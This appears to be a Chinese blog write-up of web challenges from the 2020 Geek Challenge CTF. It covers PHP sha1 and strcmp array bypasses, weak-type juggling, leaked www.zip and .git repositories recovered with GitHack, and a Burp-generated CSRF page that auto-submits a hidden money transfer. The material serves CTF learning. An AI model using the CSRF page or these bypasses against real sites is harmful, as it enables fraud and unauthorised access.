2020极客大挑战web题部分wp

可能起点不同吧,对于萌新(我)来说确实是难了点。

web1 welcome

进去是个空白页面,以post方式提交数据,就会看到

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

看到源码,如果以get方式,就会出现空白页面。

以post方式提交roam1和roam2

=      //赋值
==     //只比较数值
===   //数值和类型都要比较

我们还要满足roam1和roam2的值不同,但是经过sha1加密的roam1和roam2类型和数值都要相同。

可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:roam1[]=1&&roam2[]=2这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,就会给我们返回php的信息。2020极客大挑战web题部分wp
我们可以找到flag所在的文件,只需要访问就行了。(试了n次也不行)

最后通过抓包
2020极客大挑战web题部分wp
找到了flag。

web2 flagshop

这道题本来没有做出了,放出来hint也没有做出来,最后请教团队的大佬做出来了。
2020极客大挑战web题部分wp1
先注册一个账号,登陆进去。
2020极客大挑战web题部分wp2
我们需要买flag,但是钱包
2020极客大挑战web题部分wp3
钱包里的前空空如也。

这道题我们主要是通过csrf漏洞,构建一个我们伪造的页面,让后台的管理员给我们转钱。
2020极客大挑战web题部分wp4
第一步就是MD5截断,得到验证码。
第二步在自己的服务器上构造一个转钱页面,在报告上面提交。
构造1.html(这个页面主要内容是通过burp抓包构造csrf poc)

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="qidian" />
      <input type="hidden" name="money" value="100000000000000000000000" />
      <input type="hidden" name="messages" value="nihao" />
      <input type="submit" value="Submit request" id="click" />
    </form>
    <script type="text/javascript">
      document.getElementById("click").click();
    </script>
  </body>
</html>

代码内容就是转好多好多钱给奇点。

将url提交。
2020极客大挑战web题部分wp5
2020极客大挑战web题部分wp6
钱来了。

web 3 朋友的学妹

检查页面源代码,得到flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9

并且还有提示F12查看源代码,base64是一种常见编码。

将上面的字符的字符解密一下得到flag。

web4 EZWWW

已经有了提示www,在网站后缀加上www.zip,就会下载www.zip文件。

得到了flag文件却不对,看了下index.php的代码。

<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
    //this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>

$key2是已知的,我们base64解密就行了,将我们传入的参数等于 $key2,就能得到flag。

web5 EZgit

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,嘿嘿嘿。。。

给了提示git泄露。

这时候就需要一个神奇了Git Hack(python2环境)了。

python2 GitHack url/.git/

2020极客大挑战web题部分wp7
ls -a 列出隐藏文件

git log 查看记录

在第二行发现了flag,但是没有显示

利用diff参数,查看当前记录,3796是3796466675a1db323e42170def92bee71344a2ee的前四位缩写。

web6 刘壮的黑页

<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
    echo $flag;
}

以不同的方式提交username和passwd。

就可以得到flag。

web7 ezbypass

2020极客大挑战web题部分wp
a与b通过strcmp函数比较,并且a和b还不能相等。

strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

但是这个函数有个漏洞,在5.3之前的php中,如果我们传入非字符串类型的数据的时候,当这个函数接受到了不符合的类型,这个函数将发生错误,但是,显示了报错的警告信息后,将return 0 !也就是虽然报了错,但却判定其相等了。

http://49.234.224.119:7417/?a[]=123&b=nm

这个payload就可以绕过。

2020极客大挑战web题部分wp
第二步要求我们以POST的方式传入参数C要求其数据类型是非数字变量且还要等于123。

本来以为使用PHP的进制转函数能轻易饶过,但是我错了,应该是php弱类型绕过。

c=123x

就能轻松绕过,吐了吐了吐了!!!

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论